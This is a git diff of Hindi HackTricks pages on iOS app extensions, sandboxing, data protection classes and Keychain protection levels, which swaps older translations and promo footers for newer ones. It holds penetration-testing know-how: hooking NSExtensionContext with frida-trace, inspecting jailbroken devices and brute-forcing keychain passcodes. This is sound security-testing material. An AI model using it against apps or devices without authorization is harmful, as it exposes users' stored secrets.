- साझा डेटा तक पहुँच एक निजी कंटेनर के भीतर अनुमति है, लेकिन सीधी पहुँच प्रतिबंधित है।
|
||||||
- कुछ एपीआई, जैसे HealthKit, ऐप एक्सटेंशन्स के लिए अनुमति नहीं हैं, जो लंबे समय तक चलने वाले कार्यों को आरंभ नहीं कर सकते, कैमरा या माइक्रोफोन तक पहुंच नहीं हो सकती, केवल iMessage एक्सटेंशन्स के लिए।
|
- कुछ APIs, जैसे कि HealthKit, ऐप एक्सटेंशनों के लिए बंद हैं, जो लंबे समय तक चलने वाले कार्यों को शुरू नहीं कर सकते, कैमरा या माइक्रोफोन तक पहुँच नहीं कर सकते, सिवाय iMessage एक्सटेंशनों के।
|
||||||
|
|
||||||
### स्थिर विश्लेषण
|
### स्थैतिक विश्लेषण
|
||||||
|
|
||||||
#### **ऐप एक्सटेंशन्स की पहचान करना**
|
#### **ऐप एक्सटेंशनों की पहचान करना**
|
||||||
|
|
||||||
स्रोत कोड में एप्लिकेशन एक्सटेंशन्स को खोजने के लिए Xcode में `NSExtensionPointIdentifier` खोजें या एप्लिकेशन बंडल को जांचें `.appex` फ़ाइलें जो एक्सटेंशन्स की सूचित करती हैं। स्रोत कोड के बिना, एप्लिकेशन बंडल के भीतर इन पहचानकर्ताओं को खोजने के लिए grep या SSH का उपयोग करें।
|
स्रोत कोड में ऐप एक्सटेंशनों को खोजने के लिए, Xcode में `NSExtensionPointIdentifier` के लिए खोजें या एक्सटेंशन को इंगित करने वाले `.appex` फ़ाइलों के लिए ऐप बंडल का निरीक्षण करें। बिना स्रोत कोड के, grep या SSH का उपयोग करके ऐप बंडल के भीतर इन पहचानकर्ताओं को खोजें।
|
||||||
|
|
||||||
#### **समर्थित डेटा प्रकार**
|
#### **समर्थित डेटा प्रकार**
|
||||||
|
|
||||||
एक एक्सटेंशन के `Info.plist` फ़ाइल की जाँच करें `NSExtensionActivationRule` के लिए समर्थित डेटा प्रकारों की पहचान करने के लिए। यह सेटअप सुनिश्चित करता है कि केवल संग्रहीत डेटा प्रकारों को मुख्य ऐप्स में एक्सटेंशन ट्रिगर करते हैं।
|
समर्थित डेटा प्रकारों की पहचान के लिए एक्सटेंशन के `Info.plist` फ़ाइल में `NSExtensionActivationRule` की जाँच करें। यह सेटअप सुनिश्चित करता है कि केवल संगत डेटा प्रकार होस्ट ऐप्स में एक्सटेंशन को सक्रिय करते हैं।
|
||||||
|
|
||||||
#### **डेटा साझा करना**
|
#### **डेटा साझा करना**
|
||||||
|
|
||||||
एक ऐप और उसके एक्सटेंशन के बीच डेटा साझा करने के लिए एक साझा संग्रहण आवश्यक है, जिसे "ऐप समूह" के माध्यम से सेटअप किया गया है और `NSUserDefaults` के माध्यम से पहुंचा जाता है। यह साझा स्थान एक्सटेंशन्स द्वारा प्रारंभ किए गए पृष्ठांतरणों के लिए आवश्यक है।
|
एक ऐप और उसके एक्सटेंशन के बीच डेटा साझा करने के लिए एक साझा कंटेनर की आवश्यकता होती है, जिसे "ऐप समूहों" के माध्यम से सेट किया जाता है और `NSUserDefaults` के माध्यम से पहुँचा जाता है। यह साझा स्थान एक्सटेंशनों द्वारा शुरू किए गए बैकग्राउंड ट्रांसफर के लिए आवश्यक है।
|
||||||
|
|
||||||
#### **एक्सटेंशनों की प्रतिबंधित करना**
|
#### **एक्सटेंशनों को प्रतिबंधित करना**
|
||||||
|
|
||||||
ऐप्स किसी विशेष एक्सटेंशन प्रकारों को प्रतिबंधित कर सकते हैं, विशेषकर कस्टम कीबोर्ड्स, सुनिश्चित करते हुए कि संवेदनशील डेटा हैंडलिंग सुरक्षा प्रोटोकॉल के साथ मेल खाती है।
|
ऐप्स कुछ एक्सटेंशन प्रकारों, विशेष रूप से कस्टम कीबोर्ड, को प्रतिबंधित कर सकते हैं, यह सुनिश्चित करते हुए कि संवेदनशील डेटा हैंडलिंग सुरक्षा प्रोटोकॉल के साथ मेल खाती है।
|
||||||
|
|
||||||
### गतिशील विश्लेषण
|
### गतिशील विश्लेषण
|
||||||
|
|
||||||
गतिशील विश्लेषण में शामिल हैं:
|
गतिशील विश्लेषण में शामिल हैं:
|
||||||
|
|
||||||
- **साझा आइटमों की जाँच**: `NSExtensionContext - inputItems` में हुक करें ताकि साझा डेटा प्रकार और मूल्यों को देख सकें।
|
- **साझा आइटमों का निरीक्षण करना**: साझा डेटा प्रकारों और मूलों को देखने के लिए `NSExtensionContext - inputItems` में हुक करें।
|
||||||
- **एक्सटेंशन्स की पहचान करना**: `NSXPCConnection` जैसे आंतरिक तंत्रों को देखकर जानें कि आपके डेटा को कौन-कौन प्रक्रिया करती हैं।
|
- **एक्सटेंशनों की पहचान करना**: आंतरिक तंत्र, जैसे `NSXPCConnection` को देख कर यह पता करें कि कौन से एक्सटेंशन आपके डेटा को संसाधित करते हैं।
|
||||||
|
|
||||||
`frida-trace` जैसे उपकरण अंतर-प्रक्रिया संचार के तकनीकी विवरणों में रुचि रखने वालों के लिए मूल प्रक्रियाओं को समझने में मदद कर सकते हैं।
|
`frida-trace` जैसे उपकरण अंतर्निहित प्रक्रियाओं को समझने में मदद कर सकते हैं, विशेष रूप से उन लोगों के लिए जो इंटर-प्रोसेस संचार के तकनीकी विवरण में रुचि रखते हैं।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,40 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# विशेषाधिकार विभाजन और सैंडबॉक्स
|
# विशेषाधिकार विभाजन और सैंडबॉक्स
|
||||||
|
|
||||||
iOS में, उपयोगकर्ता-पहुंचनीय एप्लिकेशन और सिस्टम के मौलिक प्रक्रियाओं के बीच विशेषाधिकार का अंतर होता है। एप्लिकेशन **`mobile`** उपयोगकर्ता पहचान के तहत चलते हैं, जबकि महत्वपूर्ण सिस्टम प्रक्रियाएँ **`root`** के रूप में कार्य करती हैं। इस विभाजन को एक सैंडबॉक्स तंत्र द्वारा बढ़ाया जाता है, जो एप्लिकेशन के कार्रवाई पर सख्त प्रतिबंध लगाता है। उदाहरण के लिए, यदि एप्लिकेशन एक ही उपयोगकर्ता पहचान को साझा करते हैं, तो उन्हें एक-दूसरे के डेटा तक पहुंचने या उसे संशोधित करने से रोका जाता है।
|
iOS में, उपयोगकर्ता-सुलभ अनुप्रयोगों और प्रणाली के मुख्य प्रक्रियाओं के बीच विशेषाधिकार में एक भेद है। अनुप्रयोग **`mobile`** उपयोगकर्ता पहचान के तहत चलते हैं, जबकि महत्वपूर्ण प्रणाली प्रक्रियाएँ **`root`** के रूप में कार्य करती हैं। यह विभाजन एक सैंडबॉक्स तंत्र द्वारा बढ़ाया गया है, जो अनुप्रयोगों द्वारा किए जा सकने वाले कार्यों पर कड़े प्रतिबंध लगाता है। उदाहरण के लिए, भले ही अनुप्रयोग एक ही उपयोगकर्ता पहचान साझा करते हों, उन्हें एक-दूसरे के डेटा तक पहुँचने या उसे संशोधित करने की अनुमति नहीं है।
|
||||||
|
|
||||||
एप्लिकेशन एक विशिष्ट निर्देशिका में स्थापित होती हैं (`private/var/mobile/Applications/{random ID}`) और कुछ सिस्टम क्षेत्रों और कार्यक्षमताओं के लिए प्रतिबंधित पढ़ने की पहुंच होती है, जैसे कि एसएमएस और फोन कॉल्स। संरक्षित क्षेत्रों तक पहुंचने पर उपयोगकर्ता की अनुमति के लिए एक पॉप-अप अनुरोध प्रेरित होता है।
|
अनुप्रयोग एक विशिष्ट निर्देशिका (`private/var/mobile/Applications/{random ID}`) में स्थापित होते हैं और कुछ प्रणाली क्षेत्रों और कार्यक्षमताओं, जैसे SMS और फोन कॉल, तक सीमित पढ़ने की पहुँच होती है। संरक्षित क्षेत्रों तक पहुँचने पर उपयोगकर्ता अनुमति के लिए एक पॉप-अप अनुरोध उत्पन्न होता है।
|
||||||
|
|
||||||
# डेटा संरक्षण
|
# डेटा सुरक्षा
|
||||||
|
|
||||||
iOS डेटा संरक्षण एपीआई प्रदान करता है, जो सुरक्षित एन्क्लेव प्रोसेसर (SEP) पर निर्मित है — एक विशेष कोप्रोसेसर जो गुप्तचर ऑपरेशन और कुंजी प्रबंधन के लिए निर्धारित है। SEP एक अद्वितीय डिवाइस-विशेष कुंजी, उसमें समाहित डिवाइस UID, के माध्यम से डेटा संरक्षण सत्यापन की गुणवत्ता सुनिश्चित करता है।
|
iOS डेवलपर्स को **डेटा सुरक्षा एपीआई** प्रदान करता है, जो सुरक्षित एन्क्लेव प्रोसेसर (SEP) के ऊपर निर्मित हैं — क्रिप्टोग्राफिक संचालन और कुंजी प्रबंधन के लिए एक समर्पित सह-प्रोसेसर। SEP डेटा सुरक्षा अखंडता को एक अद्वितीय उपकरण-विशिष्ट कुंजी, उपकरण UID, के माध्यम से सुनिश्चित करता है, जो इसके भीतर एम्बेडेड होता है।
|
||||||
|
|
||||||
फ़ाइल निर्माण के समय, एक अद्वितीय 256-बिट AES एन्क्रिप्शन कुंजी उत्पन्न की जाती है, जो फ़ाइल की सामग्री को एन्क्रिप्ट करती है। इस एन्क्रिप्शन कुंजी के साथ, एक क्लास आईडी के साथ, एक क्लास कुंजी का उपयोग करके इसे एन्क्रिप्ट किया जाता है और फ़ाइल की मेटाडेटा के भीतर संग्रहीत किया जाता है। फ़ाइल को डिक्रिप्ट करने के लिए, सिस्टम कुंजी का उपयोग करके मेटाडेटा तक पहुंचना, क्लास आईडी के साथ क्लास कुंजी प्राप्त करना, और फिर फ़ाइल की अद्वितीय एन्क्रिप्शन कुंजी को डिक्रिप्ट करना होता है।
|
फाइल निर्माण के समय, एक अद्वितीय 256-बिट AES एन्क्रिप्शन कुंजी उत्पन्न होती है, जो फाइल की सामग्री को एन्क्रिप्ट करती है। यह एन्क्रिप्शन कुंजी, एक वर्ग ID के साथ, फिर एक वर्ग कुंजी का उपयोग करके एन्क्रिप्ट की जाती है और फाइल के मेटाडेटा में संग्रहीत की जाती है। एक फाइल को डिक्रिप्ट करने में प्रणाली की कुंजी का उपयोग करके मेटाडेटा तक पहुँच प्राप्त करना, वर्ग ID के साथ वर्ग कुंजी को पुनः प्राप्त करना, और फिर फाइल की अद्वितीय एन्क्रिप्शन कुंजी को डिक्रिप्ट करना शामिल है।
|
||||||
|
|
||||||
iOS डेटा सुरक्षा के लिए **चार संरक्षण वर्ग** परिभाषित करता है, जो यह निर्धारित करते हैं कि कब और कैसे डेटा तक पहुंचा जा सकता है:
|
iOS डेटा सुरक्षा के लिए **चार सुरक्षा वर्ग** परिभाषित करता है, जो यह निर्धारित करते हैं कि डेटा कब और कैसे पहुँचा जा सकता है:
|
||||||
|
|
||||||
- **पूर्ण संरक्षण (NSFileProtectionComplete)**: डेटा तब तक अज्ञात है जब तक उपयोगकर्ता का पासकोड उन्होंने खोलने के लिए डिवाइस को नहीं किया है।
|
- **पूर्ण सुरक्षा (NSFileProtectionComplete)**: डेटा तब तक अनुपलब्ध है जब तक उपकरण को उपयोगकर्ता के पासकोड का उपयोग करके अनलॉक नहीं किया जाता।
|
||||||
- **खुला न होने तक संरक्षित (NSFileProtectionCompleteUnlessOpen)**: डिवाइस तब तक लॉक नहीं होता है, जब तक उपयोगकर्ता ने डिवाइस खोलने के समय फ़ाइल खोली न हो।
|
- **खुला होने पर सुरक्षित (NSFileProtectionCompleteUnlessOpen)**: उपकरण बंद होने के बाद भी फाइल तक पहुँच की अनुमति देता है, बशर्ते फाइल को उपकरण के अनलॉक होने पर खोला गया हो।
|
||||||
- **पहले उपयोगकर्ता प्रमाणीकरण तक संरक्षित (NSFileProtectionCompleteUntilFirstUserAuthentication)**: पहले उपयोगकर्ता अनलॉक करने के बाद डेटा उपलब्ध होता है, और यह उपलब्ध रहता है यदि डिवाइस फिर से लॉक हो जाता है।
|
- **पहली उपयोगकर्ता प्रमाणीकरण तक सुरक्षित (NSFileProtectionCompleteUntilFirstUserAuthentication)**: डेटा पहले उपयोगकर्ता के बूट के बाद अनलॉक होने के बाद सुलभ है, भले ही उपकरण फिर से बंद हो जाए।
|
||||||
- **कोई संरक्षण नहीं (NSFileProtectionNone)**: डेटा केवल डिवाइस UID द्वारा संरक्षित है, जल्दी रिमोट डेटा मिटाने की सुविधा प्रदान करता है।
|
- **कोई सुरक्षा नहीं (NSFileProtectionNone)**: डेटा केवल उपकरण UID द्वारा सुरक्षित है, जिससे त्वरित दूरस्थ डेटा मिटाने की सुविधा मिलती है।
|
||||||
|
|
||||||
सभी वर्गों का एन्क्रिप्शन, `NSFileProtectionNone` को छोड़कर, डिवाइस UID और उपयोगकर्ता के पासकोड से उत्पन्न कुंजी से होता है, जिससे डिक्रिप्शन केवल सही पासकोड वाले डिवाइस पर संभव हो। iOS 7 के बाद, डिफ़ॉल्ट संरक्षण वर्ग "पहले उपयोगकर्ता प्रमाणीकरण तक संरक्षित" है।
|
सभी वर्गों का एन्क्रिप्शन, `NSFileProtectionNone` को छोड़कर, एक कुंजी से किया जाता है जो उपकरण UID और उपयोगकर्ता के पासकोड दोनों से प्राप्त होती है, यह सुनिश्चित करते हुए कि डिक्रिप्शन केवल सही पासकोड वाले उपकरण पर संभव है। iOS 7 से, डिफ़ॉल्ट सुरक्षा वर्ग "पहली उपयोगकर्ता प्रमाणीकरण तक सुरक्षित" है।
|
||||||
|
|
||||||
डेवलपर्स [**FileDP**](https://github.com/abjurato/FileDp-Source) का उपयोग कर सकते हैं, एक उपकरण जो iPhone पर फ़ाइलों की डेटा संरक्षण वर्ग की जांच के लिए है।
|
डेवलपर्स [**FileDP**](https://github.com/abjurato/FileDp-Source) का उपयोग कर सकते हैं, जो iPhone पर फाइलों के डेटा सुरक्षा वर्ग का निरीक्षण करने के लिए एक उपकरण है।
|
||||||
```python
|
```python
|
||||||
# Example code to use FileDP for checking file protection class
|
# Example code to use FileDP for checking file protection class
|
||||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||||
|
@ -42,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
|
||||||
cd FileDp-Source
|
cd FileDp-Source
|
||||||
python filedp.py /path/to/check
|
python filedp.py /path/to/check
|
||||||
```
|
```
|
||||||
## **कीचेन**
|
## **The Keychain**
|
||||||
|
|
||||||
iOS में, **कीचेन** एक सुरक्षित **एन्क्रिप्टेड कंटेनर** के रूप में काम करता है जिसमें **संवेदनशील जानकारी** को स्टोर करने के लिए, जिसका उपयोग केवल उस एप्लिकेशन द्वारा किया गया हो या जिन्हें स्पष्ट रूप से अधिकृत किया गया हो। यह एन्क्रिप्शन एक अद्वितीय **पासवर्ड द्वारा जनरेट किया गया है जिसे iOS ने**, जो खुद में **AES** के साथ एन्क्रिप्ट किया गया है, द्वारा मजबूत किया गया है। यह एन्क्रिप्शन प्रक्रिया एक **PBKDF2 फ़ंक्शन** का उपयोग करती है, जो उपयोगकर्ता के पासकोड को डिवाइस के **UID** से प्राप्त एक साल्ट के साथ मिलाकर, जो केवल **सुरक्षित एन्क्लेव चिपसेट** तक पहुंच सकता है। इसलिए, यदि उपयोगकर्ता का पासकोड जाना जाता है, तो कीचेन सामग्री केवल उस डिवाइस पर अप्राप्य होती है जहां उन्हें मूल रूप से एन्क्रिप्ट किया गया था।
|
iOS में, एक **Keychain** एक सुरक्षित **एन्क्रिप्टेड कंटेनर** के रूप में कार्य करता है जो **संवेदनशील जानकारी** को संग्रहीत करने के लिए है, जिसे केवल वही एप्लिकेशन एक्सेस कर सकता है जिसने इसे संग्रहीत किया या जिन्हें स्पष्ट रूप से अधिकृत किया गया है। यह एन्क्रिप्शन एक अद्वितीय **पासवर्ड द्वारा मजबूत किया गया है जो iOS द्वारा उत्पन्न होता है**, जो स्वयं **AES** के साथ एन्क्रिप्टेड है। यह एन्क्रिप्शन प्रक्रिया एक **PBKDF2 फ़ंक्शन** का उपयोग करती है, जो उपयोगकर्ता के पासकोड को एक नमक के साथ जोड़ती है जो डिवाइस के **UID** से प्राप्त होता है, एक घटक जिसे केवल **सुरक्षित एन्क्लेव चिपसेट** एक्सेस कर सकता है। परिणामस्वरूप, भले ही उपयोगकर्ता का पासकोड ज्ञात हो, Keychain की सामग्री किसी अन्य डिवाइस पर अनुपलब्ध रहती है सिवाय उस डिवाइस के जहां उन्हें मूल रूप से एन्क्रिप्ट किया गया था।
|
||||||
|
|
||||||
कीचेन डेटा का **प्रबंधन और एक्सेस** **`securityd` डेमन** द्वारा हैंडल किया जाता है, जो कि `Keychain-access-groups` और `application-identifier` जैसे विशेष ऐप अधिकारों पर आधारित है।
|
**Keychain डेटा का प्रबंधन और एक्सेस** **`securityd` डेमन** द्वारा किया जाता है, जो विशिष्ट ऐप अधिकारों जैसे `Keychain-access-groups` और `application-identifier` पर आधारित है।
|
||||||
|
|
||||||
### **कीचेन API ऑपरेशन**
|
### **Keychain API Operations**
|
||||||
|
|
||||||
कीचेन API, [एप्पल की कीचेन सेवाओं दस्तावेज़ीकरण](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) पर विस्तार से विवरणित करता है, सुरक्षित स्टोरेज प्रबंधन के लिए महत्वपूर्ण फ़ंक्शन प्रदान करता है:
|
Keychain API, जिसका विवरण [Apple के Keychain Services दस्तावेज़](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) में दिया गया है, सुरक्षित संग्रह प्रबंधन के लिए आवश्यक कार्य प्रदान करता है:
|
||||||
|
|
||||||
- **`SecItemAdd`**: कीचेन में एक नया आइटम जोड़ता है।
|
- **`SecItemAdd`**: Keychain में एक नया आइटम जोड़ता है।
|
||||||
- **`SecItemUpdate`**: कीचेन में मौजूदा आइटम को अपडेट करता है।
|
- **`SecItemUpdate`**: Keychain में एक मौजूदा आइटम को अपडेट करता है।
|
||||||
- **`SecItemCopyMatching`**: कीचेन से एक आइटम प्राप्त करता है।
|
- **`SecItemCopyMatching`**: Keychain से एक आइटम प्राप्त करता है।
|
||||||
- **`SecItemDelete`**: कीचेन से एक आइटम हटाता है।
|
- **`SecItemDelete`**: Keychain से एक आइटम हटाता है।
|
||||||
|
|
||||||
कीचेन पासवर्ड को ब्रूट-फ़ोर्स करने में शामिल है या तो सीधे एन्क्रिप्टेड कुंजी पर हमला करना या डिवाइस पर पासकोड को अनुमान लगाने का प्रयास करना, जिसे सुरक्षित एन्क्लेव के द्वारा असफल प्रयासों के बीच एक देरी के प्रवर्तन द्वारा व्यापक रूप से बाधित किया जाता है।
|
Keychain पासवर्ड को ब्रूट-फोर्स करना एन्क्रिप्टेड कुंजी पर सीधे हमला करने या डिवाइस पर पासकोड का अनुमान लगाने का प्रयास करने में शामिल है, जिसे असफल प्रयासों के बीच सुरक्षित एन्क्लेव द्वारा लागू की गई देरी से काफी हद तक बाधित किया जाता है।
|
||||||
|
|
||||||
### **कीचेन आइटम डेटा संरक्षण कॉन्फ़िगरेशन**
|
### **Configuring Keychain Item Data Protection**
|
||||||
|
|
||||||
कीचेन आइटम के लिए डेटा संरक्षण स्तर `kSecAttrAccessible` विशेषता का उपयोग करके आइटम निर्माण या अपडेट के दौरान सेट किए जाते हैं। ये स्तर, [जैसा कि एप्पल द्वारा निर्धारित](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), यह तय करते हैं कि कीचेन आइटम कब और कैसे पहुंचने योग्य हैं:
|
Keychain आइटम के लिए डेटा सुरक्षा स्तरों को आइटम निर्माण या अपडेट के दौरान `kSecAttrAccessible` विशेषता का उपयोग करके सेट किया जाता है। ये स्तर, [Apple द्वारा निर्दिष्ट](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), यह निर्धारित करते हैं कि Keychain आइटम कब और कैसे उपलब्ध हैं:
|
||||||
|
|
||||||
- **`kSecAttrAccessibleAlways`**: कभी भी पहुंचने योग्य, डिवाइस लॉक स्थिति के बावजूद।
|
- **`kSecAttrAccessibleAlways`**: किसी भी समय उपलब्ध, डिवाइस लॉक स्थिति की परवाह किए बिना।
|
||||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: हमेशा पहुंचने योग्य, लेकिन बैकअप में शामिल नहीं है।
|
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: हमेशा उपलब्ध, लेकिन बैकअप में शामिल नहीं।
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: पुनरारंभ के बाद पहले अनलॉक के बाद पहुंचने योग्य।
|
- **`kSecAttrAccessibleAfterFirstUnlock`**: पहले अनलॉक के बाद उपलब्ध।
|
||||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: उपरोक्त के समान, लेकिन नए डिवाइसों में स्थानांतरित नहीं किया जा सकता है।
|
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: ऊपर जैसा ही, लेकिन नए डिवाइस पर स्थानांतरित नहीं किया जा सकता।
|
||||||
- **`kSecAttrAccessibleWhenUnlocked`**: केवल जब डिवाइस अनलॉक होता है, तब पहुंचने योग्य है।
|
- **`kSecAttrAccessibleWhenUnlocked`**: केवल तब उपलब्ध जब डिवाइस अनलॉक हो।
|
||||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: अनलॉक होने पर ही पहुंचने योग्य, बैकअप में शामिल नहीं है।
|
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: अनलॉक होने पर उपलब्ध, बैकअप में शामिल नहीं।
|
||||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: डिवाइस पासकोड की आवश्यकता है, बैकअप में शामिल नहीं है।
|
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: डिवाइस पासकोड की आवश्यकता, बैकअप में शामिल नहीं।
|
||||||
|
|
||||||
**`AccessControlFlags`** और भी अधिक उन्नत पहुंच विधियों को सुधारते हैं, जो जीवाणु प्रमाणीकरण या पासकोड का उपयोग समर्थन करते हैं।
|
**`AccessControlFlags`** एक्सेस विधियों को और परिष्कृत करते हैं, बायोमेट्रिक प्रमाणीकरण या पासकोड उपयोग की अनुमति देते हैं।
|
||||||
|
|
||||||
### **जेलब्रोकन डिवाइस चेतावनी**
|
### **Jailbroken Devices Warning**
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**जेलब्रोकन डिवाइस** पर, कीचेन की सुरक्षा सुरक्षा कमजोर हो जाती है, जो एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करता है।
|
**जेलब्रोकन डिवाइसों** पर, Keychain की सुरक्षा से समझौता किया गया है, जो एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करता है।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **कीचेन डेटा का स्थायित्व**
|
### **Persistence of Keychain Data**
|
||||||
|
|
||||||
एप्लिकेशन-विशिष्ट डेटा की तुलना में जो एप्लिकेशन अनइंस्टॉल करने पर हटा दिया जाता है, **कीचेन डेटा** डिवाइस पर बना रहता है। यह विशेषता दूसरे हाथ में एक द्वितीय-हस्तांतरित डिवाइस के नए मालिकों को एप्लिकेशन डेटा तक पहुंचने की सरलता प्रदान कर सकती है बस एप्लिकेशन को पुनः स्थापित करके। डेवलपरों को इस जोखिम को कम करने के लिए एप्लिकेशन स्थापना के दौरान या लॉगआउट के दौरान सक्रिय रूप से कीचेन डेटा को साफ करने की सलाह दी जाती है। यहाँ एक स्विफ्ट कोड उदाहरण है जो दिखाता है कि पहले एप्लिकेशन लॉन्च पर कीचेन डेटा को कैसे साफ किया जाए:
|
